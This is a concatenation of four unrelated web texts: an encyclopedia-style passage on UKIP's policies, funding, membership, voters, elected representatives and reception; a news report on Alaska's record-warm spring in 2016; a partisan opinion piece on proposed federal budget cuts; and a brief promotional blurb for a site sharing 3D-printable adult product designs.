of four non-core GCSEs which can be continued at A Level.[221] Schools would be investigated by OFSTED on the presentation of a petition to the Department for Education signed by 25% of parents or governors.[221] UKIP have promoted the scrapping of the government target that 50% of school leavers attend university, and present the policy that tuition fees would be scrapped for students taking approved degrees in science, medicine, technology, engineering or mathematics.[221] In 2012, it opposed disestablishment of the Church of England and said it would consider a transfer of part of the Crown Estate back to the Monarchy, in exchange for an end to annual state support.[222] Farage has argued that British Overseas Territories like Gibraltar should have representatives in the House of Commons of the United Kingdom, akin to the privileges given to French overseas territories in France. Farage believes that all citizens for whom the British Parliament passes legislation, whether in the United Kingdom or its territories, deserve democratic representation in that Parliament.[223] Support Financial backing In 2008, Usherwood noted that UKIP relied heavily on a small number of major financial backers. According to The Guardian, a leaked internal report to UKIP's executive committee dated to September 2012 shows that the party's leader argued that "the key to money for us will be the hedge fund industry".[225] According to UKIP's annual returns to the Electoral Commission,[226] in 2013 the party had a total income of £2,479,314. Of this, £714,492 was from membership and subscriptions, £32,115 from fundraising activities and £1,361,640 from donations. By law, individual donations over £7,500 must be reported.[227] UKIP has several high-profile backers. In March 2009, the Conservative Party's biggest-ever donor, Stuart Wheeler, donated £100,000 to UKIP after criticising Cameron's stance towards the Treaty of Lisbon. He was then expelled from the Conservatives and in 2011 appointed treasurer of UKIP.[228] In October 2014, Arron Banks, who previously gave £25,000 to the Conservatives, increased his UKIP donation from £100,000 to £1 million after Hague said he had never heard of him.[230] The multi-millionaire Paul Sykes has helped finance the party, donating over £1 million to their 2014 campaign at the European Parliament. In December 2014, Richard Desmond, proprietor of Express Newspapers, donated £300,000 to UKIP. Desmond had previously made the UKIP peer David Stevens his deputy chairman.[230] The donation indicated that Desmond's papers, the Daily Express, Sunday Express, Daily Star and Daily Star Sunday, would back UKIP in the 2015 general election.[232] Three weeks before the election, Desmond gave the party a further £1 million.[233] In September 2016, the major UKIP donor, Arron Banks, said that UKIP would be "dead in the water" if Diane James did not become leader.[234] Following her departure after 18 days, Banks said that he would leave UKIP if Steven Woolfe was prevented from running for leader, and if two other members remained in the party: "If Neil Hamilton and Douglas Carswell [UKIP's only MP] remain in the party, and the NEC decide that Steven Woolfe cannot run for leader, I will be leaving Ukip".[235] Membership UKIP's membership numbers increased from 2002 to the time of the 2004 European Parliament election, before hovering around the 16,000 mark during the late 2000s.[14][236] In 2004, the party claimed 20,000 members, with this remaining broadly stable, and in June 2007 it had a recorded 16,700 members. By July 2013, the figure had grown to 30,000[238] before ending the year at 32,447.[239] In 2014, the number was 36,000 on 22 April,[240] by 7 May reached 37,000[241] and on 19 May, less than a fortnight later and only three days before the 2014 European Parliament election, rose to 38,000.[242] In January 2015, UKIP membership was the fifth highest of British parties.[243][244] Membership was 45,000 in May 2015, but since then has fallen to 32,757 in November 2016,[245] and as low as 18,000 under Henry Bolton by January 2018.[246] In June 2018, four political activists known through social media - Paul Joseph Watson, Mark Meechan, Carl Benjamin and Milo Yiannopoulos - joined the party. This was followed by the party gaining around five hundred members.[247] In July 2018, it was reported the party attracted 3,200 new members in July, a 15% increase.[248] Voter base UKIP's voters are not single-issue Europhobes or political protesters, they share a clear and distinct agenda, mixing deep Euroscepticism with clear ideas about immigration, national identity and the way British society is changing. The conflict between UKIP's voters and the political mainstream reflects a deep-seated difference in outlook among voters from different walks in life. Those who lead and staff the three main parties are all from the highly educated, socially liberal middle classes, who are comfortable in an ethnically and culturally diverse, outward looking society... Those who lead and staff UKIP, and those who vote for them, are older, less educated, disadvantaged and economically insecure Britons, who are profoundly uncomfortable in the 'new' society, which they regard as alien and threatening. — Political scientists Robert Ford and Matthew Goodwin, 2014. In its early years, UKIP targeted itself toward southern English, middle-class Eurosceptic voters, those who had been supporters of the Conservative Party until John Major's Conservative government signed the Maastricht Treaty. This led to the widespread perception that UKIP's supporters were primarily middle-class ex-Conservative voters, with commentator Peter Oborne characterising UKIP as "the Conservative Party in exile". After 2009, UKIP refocused its attention to appeal primarily to white British, working-class, blue-collar workers; those who had traditionally voted Labour or in some cases for Thatcher's Conservatives but who had ceased voting or begun to vote BNP since the emergence of the New Labour project in the 1990s. In this way, UKIP's support base does not line up with the historical left-right divide in British politics, instead being primarily rooted in class divisions. This mirrored the voting base of other radical right parties across Western Europe which had grown since the early 1990s. This scenario had come about following the rapid growth of the middle-classes and the concomitant decline of the working-class population in Western Europe; the centre-left, social-democratic parties who had traditionally courted the support of the working classes largely switched their attention to the newly emergent middle-classes, leaving their initial support base increasingly alienated and creating the vacuum which the radical right exploited. On the basis of their extensive study of data on the subject, in 2014 the political scientists Matthew Goodwin and Robert Ford concluded that "UKIP's support has a very clear social profile, more so than any of the mainstream parties. Their electoral base is old, male, working class, white and less educated". They found that 57% of professed UKIP supporters were over the age of 54, while only one in ten were under 35, which they attributed to the fact that UKIP's socially conservative and Eurosceptic platform appealed far more to Britain's older generations that their younger counterparts, who were more socially liberal and less antagonistic toward the EU. 57% of UKIP supporters were male, which Ford and Goodwin suggested was due to women voters being put off by a number of high-profile sexist remarks made by UKIP candidates. 99.6% of UKIP supporters identified as white, reflecting the fact that ethnic minorities tended to avoid the party. 55% of UKIP supporters had left school aged 16 or under, with only 24% having attended university, suggesting that the party primarily appealed to the least educated voters in society. Ford and Goodwin also found that UKIP's support base was more working-class than that of any other party, with 42% of supporters in blue-collar jobs. Ford and Goodwin described UKIP's voters as primarily comprising the "left behind" sector of society, "older, less skilled and less well educated working-class voters" who felt disenfranchised from the mainstream political parties which had increasingly focused on attracting the support of middle-class swing voters. Ford and Goodwin nevertheless noted that UKIP was "not a purely blue-collar party but an alliance of manual workers, employers and the self-employed." Geoffrey Evans and Jon Mellon highlighted that UKIP receive "a greater proportion of their support from lower professionals and managers" than from any other class group. They highlighted that polls repeatedly demonstrated that UKIP drew more votes from Conservative voters than Labour ones. They suggested that the assumption that working-class voters who supported UKIP had previously been Labour voters was misplaced, suggesting that these people had ceased voting for Labour "a long time before UKIP were an effective political presence", having been alienated by Labour's "pro-middle class, pro-EU and, as it eventually turned out, pro-immigration agenda". In 2011, Goodwin, Ford, and David Cutts published a study that identified Euroscepticism as the main causal factor for voters supporting UKIP, with concern over immigration levels and distrust of the political establishment also featuring as important motives. They noted, however, that during elections for the European Parliament, UKIP was able to broaden its support to gain the vote of largely middle-class Eurosceptics who vote Conservative in other elections. Ukip has become more than the single issue on which it was founded: under Farage's leadership it has become a welcoming home for the many in British society who feel that 'the system' isn't working for them, or has left them behind, economically, socially or politically. In so doing, it has gained supporters from across the political spectrum, including many old Labour voters in economically distressed regions of the country. — Political scientist Simon Usherwood, 2016. From their analysis of the data, Ford and Goodwin stated that UKIP's support base has "strong parallels" both with that of Western Europe's other radical right parties and with the BNP during their electoral heyday. Conversely, an earlier study by Richard Whitaker and Philip Lynch, based on polling data from YouGov, concluded that UKIP voters were distinct from those of far-right parties. The authors found that voter support for UKIP correlated with concerns about the value of immigration and a lack of trust in the political system, but the biggest explanatory factor for their support of UKIP was Euroscepticism. A further study by the same authors suggests that UKIP voters' core beliefs align very closely to those of the UKIP candidates; particularly so on issues surrounding European integration, which has resulted in Conservative voters switching to UKIP due to Conservative divisions on this issue. One study found that 63% of UKIP voters considered themselves to be right-wing, while 22% thought centrist and 16% thought leftist. 81% believed that immigration undermined British culture, a view shared by only half the wider British population. On economic issues, there was a divide between UKIP voters and the party itself. In contrast to the party's economic liberalism, UKIP supporters often held more leftist attitudes to the economy, with almost 80% opining that big business took advantage of working people and almost 70% thinking that privatisation had gone too far. UKIP has been most successful along England's eastern and southern coasts, in parts of south-west England, and in the Labour heartlands of Northern England and Wales. It has not done well in London and in university towns and urban areas with younger populations like Oxford, Cambridge, Manchester, and Brighton. It has done well in areas with large numbers of old, white, and poorer people, and weaker in areas with larger numbers of younger, more ethnically and culturally diverse, and financially secure people. Ford and Goodwin noted that UKIP "barely registers" with young Britons, graduates, ethnic minorities, and pro-EU voters. According to an Opinium poll in December 2014 on the views of 17- to 22-year-olds, Farage was the least popular political leader. Only 3% of young people questioned said that they intended to vote for UKIP, compared with 19% among voters of all ages.[279] The 17% who said they would vote outside the three main parties were four times more likely to vote for the Green Party than for UKIP.[280] Conversely, a March 2015 Ipsos Mori poll found among 18- to 34-year-olds UKIP was polling nearly as well as the Green Party, somewhat contradicting the idea that Farage lacked appeal for younger voters.[281] On the basis of their fieldwork among supporters of the English Defence League (EDL), an anti-Islam social movement, Winlow, Hall, and Treadwell noted that most EDL supporters whom they encountered intended to vote for UKIP in the build-up to the 2015 general election. UKIP supporters are sometimes nicknamed "kippers". In May 2017, in response to large defections from the party, Goodwin said "Former Kippers did not walk but literally sprinted over to the Conservatives."[283] Organisation Leadership Deputy leadership Spokespersons Regions UKIP's organisation is divided into twelve regions: London, South East, South West, Eastern, East Midlands, West Midlands, Yorkshire, North East, North West, Wales, Northern Ireland, and Scotland.[285] An additional, thirteenth branch, operates in the British Overseas Territory of Gibraltar; it held its first public meeting at the Lord Nelson pub in April 2013.[286] At the end of 2013 the UKIP Scotland was dissolved after infighting tore the regional party apart; the party's administrative body was dissolved, Mike Scott-Hayward (the chairman and chief fundraiser) quit, and Farage fired Lord Christopher Monckton via email.[287] The national party and UKIP Scotland focused on supporting the candidates for the upcoming European elections.[287] After David Coburn won the seat, he was elected as leader of UKIP Scotland.[288] Veteran and former long-serving Antrim and Newtownabbey-based councillor, Robert Hill was appointed by Gerard Batten as UKIP's Spokesman for Northern Ireland in May 2018.[289] In August 2018, Welsh Assembly Member Gareth Bennett was elected as leader of UKIP in Wales after a membership ballot.[290] Representatives House of Commons Douglas Carswell and Mark Reckless, UKIP's only elected MPs. The former represented UKIP from 2014 till 2017; the latter from 2014 to 2015. In the UK, the first-past-the-post voting system for electing MPs to the House of Commons was a significant barrier to UKIP, whose support was widely distributed across different areas rather than being strongly focused in particular constituencies. Further, the system encouraged tactical voting, with many UKIP supporters believing that a vote for the party would be a wasted vote. Recognising this, Farage believed that the best way to win a seat in the House of Commons was to win a by-election, with UKIP contesting a number of these from 2010 onward. Over the next few years, it contested a number of by-elections around the country, coming second in both Barnsley Central and Rotherham. In 2008, Bob Spink, the MP for Castle Point, resigned the Tory whip (becoming an Independent) but in April that year joined UKIP.[295] However, in November he appeared again as an Independent in Commons proceedings,[296] ultimately losing the seat to a Conservative in 2010. In 2014, two Conservative MPs changed allegiance to UKIP and resigned their seats to fight by-elections for UKIP. Douglas Carswell won the Clacton by-election on 9 October, making him the first MP to be elected representing UKIP.[297] Mark Reckless was also victorious in the Rochester and Strood by-election on 20 November.[81] In the 2015 General Election, Carswell kept his seat in Clacton but Reckless lost Rochester to the Conservative Kelly Tolhurst.[298] UKIP had 3,881,129 votes (12.6%) and was the third largest party on vote share, yet it won only one seat.[299] Because of this, there were calls from some in UKIP for a voting reform in favour of proportional representation.[300] Carswell quit the party in March 2017 to become an independent, leaving UKIP without any MPs in the Commons.[100] In the 2017 election, a Snap election initiated by PM Theresa May and scheduled for 8 June 2017, UKIP got 1.9% of the votes (after 12.6% in the 2015 election) and no seats in the House of Commons. House of Lords On 24 June 1995, UKIP gained its first member of the House of Lords, The Lord Grantley, who had joined the party in 1993 from the Conservatives and had recently succeeded to his father's titles. However, with the coming House of Lords Act 1999, he decided not to stand for election as a continuing member, and so left the House in November 1999. Earlier in 1999, UKIP had gained a second peer in the House of Lords, The Earl of Bradford, but he, too, left the House in November 1999 because of the House of Lords Act. The Lord Pearson of Rannoch and The Lord Willoughby de Broke both defected to UKIP in 2007, giving the party its first representation in the House of Lords since the departure of Lord Grantley and Lord Bradford.[302] The Lord Pearson of Rannoch went on to serve as party leader from November 2009 to September 2010. On 18 September 2012, The Lord Stevens of Ludgate joined UKIP, having sat as an Independent Conservative since his expulsion from the Conservatives in 2004.[303] In Autumn 2018, Lord Willoughby de Broke left UKIP, reducing the party's representation in the upper house back down to two.[304] Lord Stevens also left the party, in December 2018, leaving former leader Lord Pearson as UKIP's sole peer.[305] Regional assemblies and parliaments UKIP competes electorally in all four parts of the United Kingdom. In October 2012, UKIP gained its first representation in a devolved Assembly the Northern Ireland Assembly in David McNarry, MLA for Strangford, who had left the Ulster Unionist Party.[306] The party however failed to continue its representation at the 2016 election, coming within a hundred votes of taking a seat in East Antrim.[307] UKIP's support has been particularly weak in Scotland, where it has no representatives in the devolved parliament. UKIP fielded candidates at the Scottish Parliament election on 5 May 2011, when its platform included a commitment to keep the Scottish Parliament in Edinburgh, while replacing the separately-elected Members of the Scottish Parliament with the Members of the House of Commons elected in Scotland.[309] The party also fielded candidates for the National Assembly for Wales.[310] In the 2016 election, it entered the Assembly for the first time, winning seven of 60 seats.[311] However, following the resignations of Caroline Jones, Mark Reckless and Nathan Gill, by December 2018 the party's representation had fallen to just 4 AMs. Local government UKIP initially paid little attention to local government elections. However, this changed after Farage observed that building localised strongholds of support in various parts of the country had been the process by which the Liberal Democrats had entered the House of Commons, and that this was a strategy that could benefit UKIP. UKIP subsequently focused on the 2011 local elections, in which it fielded over 1,100 candidates, winning seven and becoming the main opposition in over 100. The first UKIP local council election win occurred when one of its members was elected to South Cambridgeshire District Council in 2000. A number of Conservative, Liberal Democrat, Labour and Independent local councillors in all four constituent nations of the UK defected to UKIP over subsequent years, with the most recent defections to date (May to July 2013) coming from former Conservative councillors in the London Boroughs of Merton, Richmond upon Thames and Havering, and from Labour in Northampton and North-East Lincolnshire. In May 2013, 33 English and one Welsh council held local elections, with UKIP gaining 139 seats for a total of 147, with significant gains in Lincolnshire, Norfolk and Kent.[314] In the 2013 local elections, UKIP won 147 seats and established itself as the largest opposition party in six English county councils. At the 2013 and 2014 local elections, UKIP made significant gains to become the fourth largest party in terms of councillors in England, and fifth largest in the UK, with over 300 seats (out of about 21,000). In the 2015 local elections, UKIP took control of Thanet District Council, its first majority control of a council.[316] However, the party lost control later in the year after several of its councillors defected and it lost its majority. UKIP later took back control as a majority after winning the 2016 Northwood ward by-election, taking its number of councillors up to 29. In the 2016 local election, UKIP won 58 council seats, an increase of 25.[317] In the United Kingdom local elections, 2017, UKIP lost all of the seats it was defending but gained one from Labour on Lancashire County Council.[102] European Parliament As a result of its hard Eurosceptic approach, UKIP does not recognise the legitimacy of the European Parliament, and under Sked's leadership refused to take any of the EP seats that it won. This changed after 1997, when the party decided that its elected representatives would take such seats to publicise its anti-EU agenda. As a result of the 1999 European parliament election, three UKIP MEPs were elected to the European Parliament. Together with Eurosceptic parties from other nations, they formed a new European parliamentary group called Europe of Democracies and Diversities (EDD). Following the 2004 European parliament election, 37 MEPs from the UK, Poland, Denmark and Sweden founded a new European Parliamentary group called Independence and Democracy as a direct successor to the EDD group. After the 2009 European parliament election, UKIP was a founder member of a new right-wing grouping called Europe of Freedom and Democracy (EFD) comprising Eurosceptic, radical right, nationalist, national-conservative and other political factions. This group was more right-wing than the previous term's Independence and Democracy group.[322] Following the 2014 European parliament election, the EFD group was reconstituted as the Europe of Freedom and Direct Democracy (EFDD or EFD2) group on 24 June 2014, with a significant changes to group composition, including the Five Star Movement of Italy, a total of 48 members.[324] The EFDD group lost official status in October 2014 when the defection of the Latvian MEP Iveta Grigule meant its membership no longer met the required number of states for Parliamentary groups (at least seven different member states).[326] On 20 October, EFD announced it had restored the requisite seven state diversity by recruiting Robert Iwaszkiewicz, one of four representatives of the far-right Polish party Congress of the New Right.[327] In December 2014 UKIP co-founded the Alliance for Direct Democracy in Europe, a European political party whose membership is composed of several member parties of the EFDD parliamentary group.[328] In the 2009–14 parliament, UKIP ranked 76th out of 76 for attendance, took part in 61% of votes, and had three of the six lowest attending MEPs,[329] which led to criticism from other parties and ex-UKIP MEPs that low participation may damage British interests.[330] Between July 2014 and May 2015, its 23 MEPs maintained their record as the least active, participating on average in only 62.29% of votes.[331] In response to criticism of low participation by UKIP MEPs in the EU Parliament, Farage has said that "Our objective as MEPs is not to keep voting endlessly for more EU legislation and to take power away from Westminster."[332] Current members of the European Parliament UKIP has seven members in the European Parliament, with representatives in six of the twelve European Parliament constituencies in the UK. Twenty-four UKIP representatives were elected in the 2014 election, but sixteen have since defected and one was expelled.[333] Source: The Independent, 27 May 2014 [334] For a full list of defections see List of British politicians who have crossed the floor#List of Members of the European Parliament who have crossed the floor. James Carver left UKIP to sit as an independent on 28 May 2018.[335] William Dartmouth left the party on 26 September 2018 to sit as an independent, accusing Batten of "hijacking the party to campaign against Islam as a religion" and associating himself with "outlandish people and extreme right-wing groups".[336] Bill Etheridge followed shortly afterwards, on 2 October 2018, saying that the party under Batten's leadership "is seen by voters as a vehicle of hate towards Muslims and the gay community".[337] In November 2018, Patrick O'Flynn resigned to join the 'rump' Social Democratic Party in protest over the party's move to the "hard right",[338] and Louise Bours is now independent.[339] Former leader Nigel Farage quit on 6 December 2018,[340] as did Scottish MEP David Coburn.[341] Another former leader Paul Nuttall quit the party the following day as did London Assembly Member Peter Whittle.[342] It was reported that Tim Aker had also quietly quit the party earlier in 2018.[343] Julia Reid announced her resignation from UKIP on 8 December 2018,[344] with Jonathan Bullock following the next day.[345] As of February 2019, Batten, Collins and Agnew are members of the Europe of Nations and Freedom group in the European Parliament,[346] Finch, Parker and Seymour are in Europe of Freedom and Direct Democracy while Hookem is Non-Inscrit (unattached). Election results House of Commons During the 2010–15 Parliament, two Conservative MPs defected to UKIP and were re-elected in subsequent by-elections. At the 2015 general election, UKIP retained one of these seats (Clacton) and received over 30% of the vote in Boston and Skegness, South Thanet, Heywood and Middleton, Thurrock and Rochester and Strood. They lost their only seat in the 2017 election, as Clacton was regained by the Conservatives. Election year # of total votes % of overall vote # of seats won Outcome 1997[347] 105,722 0.3% 0 / 650 No seats 2001[348] 390,563 1.5% 0 / 650 No seats 2005[349] 603,298 2.2% 0 / 646 No seats 2010[350] 919,546 3.1% 0 / 650 No seats 2015[351] 3,881,099 12.6% 1 / 650 Opposition 2017[352] 593,852 1.8% 0 / 650 No seats European Parliament Election year # of total votes % of overall vote # of seats won Rank 1994[353] 155,487 1% 0 / 87 8 1999[354] 696,057 6.7% 3 / 87 4 2004[355] 2,650,768 16.1% 12 / 78 3 2009[47] 2,498,226 16.6% 13 / 72 2 2014[72] 4,376,635 27.5% 24 / 73 1 National Assembly for Wales elections Year Percentage of vote (constituency) Percentage of vote (regional) Seats won (constituency) Seats won (regional) Seats won (total) Outcome 1999 0.0% (N/A) 0.0% (N/A) 0 / 40 0 / 20 0 / 60 No seats 2003 2.3% (19,795) 3.5% (29,427) 0 / 40 0 / 20 0 / 60 No seats 2007 1.8% (18,047) 4.0% (38,490) 0 / 40 0 / 20 0 / 60 No seats 2011 0.0% (N/A) 4.6% (43,756) 0 / 40 0 / 20 0 / 60 No seats 2016 12.5% (127,0385) 13.0% (132,138) 0 / 40 7 / 20 7 / 60 Opposition London Assembly Elections Year Percentage of vote (constituency) Percentage of vote (regional) Seats won (constituency) Seats won (regional) Seats won (total) 2000 0.1% (2,115) 2.1% (34,054) 0 / 14 0 / 11 0 / 25 2004 10.0% (180,516) 8.4% (156,780) 0 / 14 2 / 11 2 / 25 2008 3.0% (71,984) 1.9% (46,617) 0 / 14 0 / 11 0 / 25 2012 4.3% (95,849) 4.5% (100,040) 0 / 14 0 / 11 0 / 25 2016 7.6% (199,448) 6.5% (171,069) 0 / 14 2 / 11 2 / 25 Reception Other political groups In campaigning on emotive issues, UKIP has proved divisive. Popular stereotypes have framed it as a far-right party, and portrayed its activists as old white men holding offensive views. The party has faced vocal opposition from anti-fascist groups such as Hope not Hate, who have accused it of tapping into nationalist and xenophobic sentiment in its campaigns. Writing for The New York Times Magazine, Geoffrey Wheatcroft noted that there had been "a concerted campaign to brand UKIP as racist, an accusation that some of its own activists have done nothing to discourage."[359] Goodwin and Caitlin Milazzo highlighted that Farage had been "routinely ridiculed and dismissed", at best being portrayed as "a beer-swilling populist who wanted to drag Britain back to the 1950s" while at worst depicted as "a racist... would-be demagogue" who secretly wanted to overthrow the UK's liberal parliamentary democracy. For many years, mainstream political figures derided or demeaned the importance of UKIP, although this did little to obstruct its electoral advances. By 2014, at which point UKIP was securing significant electoral support in the European Parliamentary elections. the main parties began to take it more seriously and devoted more time to countering the electoral threat it posed to them, in turn drawing more journalistic attention to the party. This increased attention gave the party the "oxygen of publicity" which helped bring the party to the attention of previously inattentive voters. Many on Britain's centre-left have been reluctant to accept that UKIP was hindering public support for Labour, instead believing that they were primarily a problem for the Conservatives and would thus help produce a Labour victory. Labour found that their campaign strategy of accusing UKIP of racism backfired, as rather than distancing UKIP supporters from the party it contributed to the perception that Labour failed to understand widespread concerns regarding immigration. A December 2014 poll by ComRes found that voters saw UKIP as closer to the centre-ground of politics than the Conservatives.[367] Media and academia The British press have publicised statements made by UKIP activists and candidates which have been regarded as racist, sexist or otherwise bigoted. Among the examples of UKIP representatives and supporters embarrassing the party have been an MEP who called for a ban on the construction of mosques and for all British Muslims to sign a code of conduct, a councillor who suggested that shops should be allowed to refuse service to women and homosexuals, and a council candidate who compared Islam to Nazism and told black comedian Lenny Henry to leave Britain after the latter called for greater ethnic diversity within the UK's creative industries. In 2015, a documentary called Meet the Ukippers filmed activists making racist statements; one said "the only people I do have a problem with are negroes". For many years such individuals were internally tolerated within the party, although as part of Farage's push to professionalise the party a number of its members, such as MEP Godfrey Bloom, were expelled for making comments that brought UKIP into disrepute. In 2018, Jo Marney—who was then the girlfriend of the party leader Henry Bolton—was suspended from UKIP after it was revealed that she had sent texts stating that black Africans were "ugly". In these messages, she had criticised Meghan Markle for marrying into the British royal family, stating that Markle was "a dumb little commoner" and "a black American. Pushing their way to the top slowly. Next will be a Muslim PM and a black king."[371] Farage talking to the media in 2012 In a May 2014 YouGov survey, 47% considered the media to be biased against UKIP, which was double the percentage who deemed the media biased against any other party.[372] The BBC received almost 1,200 complaints about its coverage of the 2014 European and local elections; 149 claimed that the BBC were biased against UKIP, while the rest claimed that it gave disproportionate attention to the party. The BBC defended its coverage.[373] Farage accused the BBC of a "liberal bias", particularly on issues of immigration, the EU, and climate change.[374] David Deacon and Dominic Wring's examination of press coverage of UKIP during their 2014 campaign demonstrated that of the elite newspapers, the pro-EU titles The Guardian and The Observer gave the most coverage to perceived racist and intolerant aspects of the party, while the Eurosceptic titles The Times and The Sunday Times instead focused on questioning the propriety and integrity of UKIP representatives. Among the populist tabloids, The Sun/Sun on Sunday and the Daily Mirror/Sunday Mirror were found to contain the most negative coverage of UKIP, while the Daily Express and Sunday Express—owned by UKIP donor Richard Desmond—gave significantly lower coverage to the gaffes and prejudices of UKIP representatives. Deacon and Wring noted that the majority of those right-wing newspapers that share UKIP's views on immigration also share the perspective of more liberal newspapers that many of UKIP's interventions are racist. This right-wing press opposition to UKIP may result from the allegiance that these newspapers have to the Conservatives, and resulting perception of UKIP as an electoral threat. Academic research has been carried out into UKIP. In 2016, it was noted that most of this had focused on examining the party's electoral support base, its consequences for other parties, and the possibilities and prospects of a referendum on continued EU membership, with little having focused on an examination of the party's policies. Two currents have emerged among those seeking to interpret UKIP: the first, and generally older, current views them as a manifestation of Britain's strong Eurosceptic movement, while the second seeks to explain their position in the UK parliamentary system while drawing upon the comparative literature on right-wing populist parties elsewhere in Europe. More recently, media outlets have often accused the party of being a far-right party,[379] although the academics reject this label; there is, however, consensus that the party does incorporate and share elements of far-right movements.[380] See also Notes ^ [284] Farage continued to act as interim leader of UKIP until the Diane James won the September 2016 leadership election but resigned 18 days later, prior to taking office. As the relevant paperwork required by the Electoral Commission was not completed before her resignation, legally Farage remained the leader of UKIP during James's tenure.Farage continued to act as interim leader of UKIP until the November 2016 election. References Citations Sources Further reading |
Alaska Continues to Bake, on Track For Hottest Year Alaska just can’t seem to shake the fever it has been running. This spring was easily the hottest the state has ever recorded and it contributed to a year-to-date temperature that is more than 10°F (5.5°C) above average, according to data released Wednesday by the National Oceanic and Atmospheric Administration. How much spring temperatures differed from average during the spring in Alaska. Click image to enlarge. Credit: NOAA The Lower 48, meanwhile, had its warmest spring since the record-breaking scorcher of 2012. While May as a whole was only slightly above average — thanks in part to whiplashing weather from the beginning of the month to the end — every state in the contiguous U.S. had warmer-than-normal temperatures for the spring as a whole. The main area of relative cool in May was in the Central and Southern plains, where considerable rains fell during the month. Storm systems generally tend to drag in cooler air and cloudy days help to keep a lid on temperatures. “In addition, when soils are waterlogged it prevents afternoon temperatures from rising as high as they would if soils were dry,” Deke Arndt, chief of the monitoring branch of NOAA’s National Centers for Environmental Information, said in an email. The contiguous U.S. is having its fourth warmest year-to-date; May’s milder weather brought that trend down a bit from April when 2016 was in the No. 2 slot. The clear standout of above-average temperatures for the Lower 48 — both in May and spring as a whole — was the coastal Pacific Northwest. Seattle had its fourth-hottest May and several spots in Washington, including Seattle-Tacoma Airport, were having their hottest year-to-date. Alaska, for first time in modern records, had a spring average temperature of 32°F (0°C) — that may sound cold, but warmth is a relative term. That temperature handily beat the previous record hot spring of 1998 by 2°F (1°C), according to NOAA. Several spots in Alaska, including Anchorage, Fairbanks, and Juneau, recorded their hottest springs. Several others, including Barrow, the northernmost city in the U.S., had their second-warmest spring. For the year-to-date, the state is running 10.3°F above the 1925-2000 average of 26.1°F (-3.3°C) and 2.4°F (1.3°C) higher than the previous mark of 23.7°F (-4.6°C) set in 1981. In fact, the past three January-May periods are among the four warmest in Alaska’s records. Year-to-date temperature anomalies across the contiguous U.S. Click image to enlarge. Credit: NOAA Rick Thoman, climate science and services manager for the NWS’s Alaska region, said that several factors had converged to keep Alaska so relatively toasty, including persistent high pressure systems over the region and warm waters off the coast. Early snowmelt has also exacerbated the spring heat. The effects of the elevated temperatures are readily apparent, Thoman said, with berries ripening weeks earlier than usual, very early “last frosts” and an early start to construction projects. Temperatures in Alaska have also steadily risen — like the planet as a whole, and the Arctic in particular — thanks to the excess heat trapped by human emissions of greenhouse gases. There is a 99 percent chance that 2016 will be the hottest year on record globally, mainly due to that excess heat. NOAA forecasters expect the odds this summer to continue to favor above-average temperatures across Alaska, and there’s a good chance that 2016 as a whole could be record-hot for the state as well. But that depends on how the rest of the year plays out. “Certainly, the combination of five months already in the books and the outlook for continued warmth raises the chances for the warmest year on record,” Arndt said. “But it would just take one or two really cold months to change the scenario from ‘warmest year’ to ‘one of the warmest years.’ ” You May Also Like: Scientists Seek a New Measure for Methane. Here’s Why. Arctic Sea Ice Breaks May Record . . . By A Lot Overfishing and Pollution Kill Corals in a Warming World Bay Area Voters Approve Tax to Fix Marshes As Seas Rise |
By Natalia Castro As the legislative branch begins considering ways to use the power of the purse, President Donald Trump’s newly appointed White House Office of Management and Budget Director Mick Mulvaney is weighing options on ways to cut $4 trillion U.S. budget. The New York Times released what it called the “White House hit list” for federal programs, naming the offices Trump and Mulvaney would likely propose be shut down by Congress, according to an internal memo obtained by the paper. On the chopping block could be the Export-Import Bank, the Legal Services Corporation, the Corporation for Public Broadcasting including NPR, AmeriCorps, SeniorCorps, the White House’s Office of National Drug Control Policy, the Overseas Private Investment Corporation and the National Endowment for the Arts and Humanities. Naturally, critics are already blasting the possible cuts Mulvaney will be making — his strict fiscal lens has made him a target for liberal scrutiny — but as the president’s budget will not be published until March, these assumptions remain speculative. On the side, Mulvaney has been praised for his eagerness to eliminate government waste. USA Today’s Eliza Collins describes Mulvaney as “a crusader for federal budget cuts” and sites his past in the conservative Freedom Caucus as evidence of his willingness to fight for budget reductions. There, Mulvaney pushed for a conservative fiscal agenda, including taking the risk of a government shutdown in order to ensure critical cuts were made to budget plans. Conservatives for their part are hoping that Mulvaney will now deliver strengthened fiscal control. The Heritage Foundation proposed key program cuts in 2014 which have prevailed despite economic losses, eliminating grant programs within the Departments of Housing and Urban Development and Education could save an upwards of $5 billion and remove federal intervention on state issues. Other areas Mulvaney could take a look at are working with Energy Secretary Rick Perry to cut wasteful spending that seems to be ingrained in bureaucratic failure. From 1973 to 2012 alone, the National Center for Policy Analysis reports the Department of Energy spent $154.7 billion on renewable energy programs which have yet to produce commercially viable technologies. While Mulvaney’s agenda can still only be speculated, there is one area he has maintained consistent support; the defunding on the Ex-Im Bank. Mulvaney has consistently seen it as the symbol of crony capitalism that it is and advocated for its termination, now with the power of the budget he can finally enact this goal. As Mulvaney moves into the Trump administration the budget will be his opportunity to show the president is committed to fighting for conservative fiscal policy. And with liberals already waiting eagerly, Trump’s proposed budget cuts could be the front of the next political battleground. Natalia Castro is a contributing editor at Americans for Limited Government. |
Welcome to MakerLove.com where we are providing free sex toy design files for your Maker device / 3D Printer.MakerLove.com provides, free of charge, a large variety of sex toy designs you can print with a 3-D printer, or Maker. Since 1998 our group has been helping people avoid embarrassment and Makers will help that cause. You see, when people have the ability to make things privately, we suspect they will choose to make certain items without telling anyone else. Sex Toys and personal items seem rather high up on that list. So we have formed a website to capture and share designs for these personal products. MakerLove.com may revolutionize the sex toy industry or it may not, we are not sure. Regardless, we will be a free resource for people who want the freedom to privately own their own pleasure. MakerLove.com is a project of PriveCo Inc. - The World’s Most Private Company. MakerLove.com is financially supported by a sponsorship by Vibrators.com where people aree encouraged to buy the vibrating motors for their MakerLove creations dynamic. |
